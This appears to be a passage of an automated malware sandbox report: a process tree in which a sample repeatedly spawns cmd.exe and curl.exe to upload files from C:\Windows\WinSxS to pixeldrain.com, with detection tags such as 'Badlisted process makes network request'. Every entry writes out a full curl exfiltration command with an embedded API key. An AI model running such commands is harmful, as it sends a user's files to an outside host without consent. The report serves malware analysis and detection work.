  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\PhoneSystemToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-PhoneSystemToastIcon.png-07-11-2026--13.56.50.png
  2⤵
  - Executes a command shell one-liner
  PID:1392
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\PhoneSystemToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-PhoneSystemToastIcon.png-07-11-2026--13.56.50.png
    3⤵
    PID:2340
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\RemoteSystemToastIcon.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-RemoteSystemToastIcon.contrast-white.png-07-11-2026--13.56.50.png
  2⤵
  PID:4556
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\RemoteSystemToastIcon.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-RemoteSystemToastIcon.contrast-white.png-07-11-2026--13.56.50.png
    3⤵
    PID:5976
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\RemoteSystemToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-RemoteSystemToastIcon.png-07-11-2026--13.56.51.png
  2⤵
  PID:5400
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\RemoteSystemToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-RemoteSystemToastIcon.png-07-11-2026--13.56.51.png
    3⤵
    PID:5896
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\SpeakersSystemToastIcon.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-SpeakersSystemToastIcon.contrast-white.png-07-11-2026--13.56.51.png
  2⤵
  PID:5280
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\SpeakersSystemToastIcon.contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-SpeakersSystemToastIcon.contrast-white.png-07-11-2026--13.56.51.png
    3⤵
    PID:1524
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\SpeakersSystemToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-SpeakersSystemToastIcon.png-07-11-2026--13.56.51.png
  2⤵
  PID:3120
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f\SpeakersSystemToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-onecoreua..uetooth-userservice_31bf3856ad364e35_10.0.26100.1591_none_a43e3eb5524c782f-SpeakersSystemToastIcon.png-07-11-2026--13.56.51.png
    3⤵
    PID:2064
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-ui-xaml-cbs_31bf3856ad364e35_10.0.26100.1_none_9c6d5bc5b462b7ad\logo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-ui-xaml-cbs_31bf3856ad364e35_10.0.26100.1_none_9c6d5bc5b462b7ad-logo.png-07-11-2026--13.56.52.png
  2⤵
  PID:3416
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-ui-xaml-cbs_31bf3856ad364e35_10.0.26100.1_none_9c6d5bc5b462b7ad\logo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-ui-xaml-cbs_31bf3856ad364e35_10.0.26100.1_none_9c6d5bc5b462b7ad-logo.png-07-11-2026--13.56.52.png
    3⤵
    - Badlisted process makes network request
    PID:4164
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-ui-xaml-cbs_31bf3856ad364e35_10.0.26100.1_none_9c6d5bc5b462b7ad\NoiseAsset_256x256_PNG.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-ui-xaml-cbs_31bf3856ad364e35_10.0.26100.1_none_9c6d5bc5b462b7ad-NoiseAsset_256x256_PNG.png-07-11-2026--13.56.52.png
  2⤵
  PID:3776
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-ui-xaml-cbs_31bf3856ad364e35_10.0.26100.1_none_9c6d5bc5b462b7ad\NoiseAsset_256x256_PNG.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-ui-xaml-cbs_31bf3856ad364e35_10.0.26100.1_none_9c6d5bc5b462b7ad-NoiseAsset_256x256_PNG.png-07-11-2026--13.56.52.png
    3⤵
    PID:5596
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..-experience-apphelp_31bf3856ad364e35_10.0.26100.1591_none_1dc1d4ed10ca2d5c\@AppHelpToast.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..-experience-apphelp_31bf3856ad364e35_10.0.26100.1591_none_1dc1d4ed10ca2d5c-@AppHelpToast.png-07-11-2026--13.56.52.png
  2⤵
  PID:4856
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..-experience-apphelp_31bf3856ad364e35_10.0.26100.1591_none_1dc1d4ed10ca2d5c\@AppHelpToast.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..-experience-apphelp_31bf3856ad364e35_10.0.26100.1591_none_1dc1d4ed10ca2d5c-@AppHelpToast.png-07-11-2026--13.56.52.png
    3⤵
    PID:4388
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..esslockapp.appxmain_31bf3856ad364e35_10.0.26100.1150_none_d3d5c425d4ba6a5f\Logo.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..esslockapp.appxmain_31bf3856ad364e35_10.0.26100.1150_none_d3d5c425d4ba6a5f-Logo.scale-100.png-07-11-2026--13.56.52.png
  2⤵
  PID:5656
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..esslockapp.appxmain_31bf3856ad364e35_10.0.26100.1150_none_d3d5c425d4ba6a5f\Logo.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..esslockapp.appxmain_31bf3856ad364e35_10.0.26100.1150_none_d3d5c425d4ba6a5f-Logo.scale-100.png-07-11-2026--13.56.52.png
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2536
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..esslockapp.appxmain_31bf3856ad364e35_10.0.26100.1150_none_d3d5c425d4ba6a5f\SmallLogo.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..esslockapp.appxmain_31bf3856ad364e35_10.0.26100.1150_none_d3d5c425d4ba6a5f-SmallLogo.scale-100.png-07-11-2026--13.56.53.png
  2⤵
  PID:3972
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..esslockapp.appxmain_31bf3856ad364e35_10.0.26100.1150_none_d3d5c425d4ba6a5f\SmallLogo.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..esslockapp.appxmain_31bf3856ad364e35_10.0.26100.1150_none_d3d5c425d4ba6a5f-SmallLogo.scale-100.png-07-11-2026--13.56.53.png
    3⤵
    PID:924
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..esslockapp.appxmain_31bf3856ad364e35_10.0.26100.1150_none_d3d5c425d4ba6a5f\SplashScreen.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..esslockapp.appxmain_31bf3856ad364e35_10.0.26100.1150_none_d3d5c425d4ba6a5f-SplashScreen.scale-100.png-07-11-2026--13.56.53.png
  2⤵
  PID:2896
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..esslockapp.appxmain_31bf3856ad364e35_10.0.26100.1150_none_d3d5c425d4ba6a5f\SplashScreen.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..esslockapp.appxmain_31bf3856ad364e35_10.0.26100.1150_none_d3d5c425d4ba6a5f-SplashScreen.scale-100.png-07-11-2026--13.56.53.png
    3⤵
    PID:2636
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..esslockapp.appxmain_31bf3856ad364e35_10.0.26100.1150_none_d3d5c425d4ba6a5f\StoreLogo.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..esslockapp.appxmain_31bf3856ad364e35_10.0.26100.1150_none_d3d5c425d4ba6a5f-StoreLogo.scale-100.png-07-11-2026--13.56.53.png
  2⤵
  PID:6016
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3708
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..esslockapp.appxmain_31bf3856ad364e35_10.0.26100.1150_none_d3d5c425d4ba6a5f\StoreLogo.scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..esslockapp.appxmain_31bf3856ad364e35_10.0.26100.1150_none_d3d5c425d4ba6a5f-StoreLogo.scale-100.png-07-11-2026--13.56.53.png
    3⤵
    PID:1100
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..extservice.appxmain_31bf3856ad364e35_10.0.26100.1_none_4b95a6089b289b29\Splashscreen.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..extservice.appxmain_31bf3856ad364e35_10.0.26100.1_none_4b95a6089b289b29-Splashscreen.png-07-11-2026--13.56.53.png
  2⤵
  PID:2468
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..extservice.appxmain_31bf3856ad364e35_10.0.26100.1_none_4b95a6089b289b29\Splashscreen.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..extservice.appxmain_31bf3856ad364e35_10.0.26100.1_none_4b95a6089b289b29-Splashscreen.png-07-11-2026--13.56.53.png
    3⤵
    PID:2016
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..extservice.appxmain_31bf3856ad364e35_10.0.26100.1_none_4b95a6089b289b29\Square150x150Logo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..extservice.appxmain_31bf3856ad364e35_10.0.26100.1_none_4b95a6089b289b29-Square150x150Logo.png-07-11-2026--13.56.54.png
  2⤵
  PID:3992
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..extservice.appxmain_31bf3856ad364e35_10.0.26100.1_none_4b95a6089b289b29\Square150x150Logo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..extservice.appxmain_31bf3856ad364e35_10.0.26100.1_none_4b95a6089b289b29-Square150x150Logo.png-07-11-2026--13.56.54.png
    3⤵
    PID:1000
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..extservice.appxmain_31bf3856ad364e35_10.0.26100.1_none_4b95a6089b289b29\Square44x44Logo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..extservice.appxmain_31bf3856ad364e35_10.0.26100.1_none_4b95a6089b289b29-Square44x44Logo.png-07-11-2026--13.56.54.png
  2⤵
  PID:1804
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..extservice.appxmain_31bf3856ad364e35_10.0.26100.1_none_4b95a6089b289b29\Square44x44Logo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..extservice.appxmain_31bf3856ad364e35_10.0.26100.1_none_4b95a6089b289b29-Square44x44Logo.png-07-11-2026--13.56.54.png
    3⤵
    PID:4264
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..extservice.appxmain_31bf3856ad364e35_10.0.26100.1_none_4b95a6089b289b29\StoreLogo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..extservice.appxmain_31bf3856ad364e35_10.0.26100.1_none_4b95a6089b289b29-StoreLogo.png-07-11-2026--13.56.54.png
  2⤵
  PID:3764
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..extservice.appxmain_31bf3856ad364e35_10.0.26100.1_none_4b95a6089b289b29\StoreLogo.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..extservice.appxmain_31bf3856ad364e35_10.0.26100.1_none_4b95a6089b289b29-StoreLogo.png-07-11-2026--13.56.54.png
    3⤵
    PID:4672
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..ncredentialprovider_31bf3856ad364e35_10.0.26100.1301_none_06c7ffa4d2e096ee\@WindowsHelloFaceToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..ncredentialprovider_31bf3856ad364e35_10.0.26100.1301_none_06c7ffa4d2e096ee-@WindowsHelloFaceToastIcon.png-07-11-2026--13.56.54.png
  2⤵
  PID:4048
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..ncredentialprovider_31bf3856ad364e35_10.0.26100.1301_none_06c7ffa4d2e096ee\@WindowsHelloFaceToastIcon.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..ncredentialprovider_31bf3856ad364e35_10.0.26100.1301_none_06c7ffa4d2e096ee-@WindowsHelloFaceToastIcon.png-07-11-2026--13.56.54.png
    3⤵
    PID:1908
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b\Logo.Theme-Dark_Scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b-Logo.Theme-Dark_Scale-100.png-07-11-2026--13.56.55.png
  2⤵
  PID:6096
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b\Logo.Theme-Dark_Scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b-Logo.Theme-Dark_Scale-100.png-07-11-2026--13.56.55.png
    3⤵
    PID:4600
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b\Logo.Theme-Light_Scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b-Logo.Theme-Light_Scale-100.png-07-11-2026--13.56.55.png
  2⤵
  PID:4120
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b\Logo.Theme-Light_Scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b-Logo.Theme-Light_Scale-100.png-07-11-2026--13.56.55.png
    3⤵
    PID:4284
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b\SmallLogo.Theme-Dark_Scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b-SmallLogo.Theme-Dark_Scale-100.png-07-11-2026--13.56.55.png
  2⤵
  PID:3040
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2708
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b\SmallLogo.Theme-Dark_Scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b-SmallLogo.Theme-Dark_Scale-100.png-07-11-2026--13.56.55.png
    3⤵
    - Badlisted process makes network request
    PID:5036
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b\SmallLogo.Theme-Light_Scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b-SmallLogo.Theme-Light_Scale-100.png-07-11-2026--13.56.56.png
  2⤵
  - Executes a command shell one-liner
  PID:5316
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b\SmallLogo.Theme-Light_Scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b-SmallLogo.Theme-Light_Scale-100.png-07-11-2026--13.56.56.png
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5804
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b\SplashScreen.Theme-Dark_Scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b-SplashScreen.Theme-Dark_Scale-100.png-07-11-2026--13.56.56.png
  2⤵
  PID:2372
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b\SplashScreen.Theme-Dark_Scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b-SplashScreen.Theme-Dark_Scale-100.png-07-11-2026--13.56.56.png
    3⤵
    - Badlisted process makes network request
    PID:3000
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b\SplashScreen.Theme-Dark_Scale-140.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b-SplashScreen.Theme-Dark_Scale-140.png-07-11-2026--13.56.56.png
  2⤵
  PID:3232
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b\SplashScreen.Theme-Dark_Scale-140.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b-SplashScreen.Theme-Dark_Scale-140.png-07-11-2026--13.56.56.png
    3⤵
    - Badlisted process makes network request
    PID:2056
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b\SplashScreen.Theme-Dark_Scale-180.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b-SplashScreen.Theme-Dark_Scale-180.png-07-11-2026--13.56.56.png
  2⤵
  PID:5264
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b\SplashScreen.Theme-Dark_Scale-180.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b-SplashScreen.Theme-Dark_Scale-180.png-07-11-2026--13.56.56.png
    3⤵
    PID:1168
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b\SplashScreen.Theme-Light_Scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b-SplashScreen.Theme-Light_Scale-100.png-07-11-2026--13.56.57.png
  2⤵
  PID:4464
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b\SplashScreen.Theme-Light_Scale-100.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-a..ntscontrol.appxmain_31bf3856ad364e35_10.0.26100.1591_none_29e868b2edff462b-SplashScreen.Theme-Light_Scale-100.png-07-11-2026--13.56.57.png
    3⤵
    - Badlisted process makes network request
    PID:1348
- C:\Windows\SysWOW64\cmd.exe
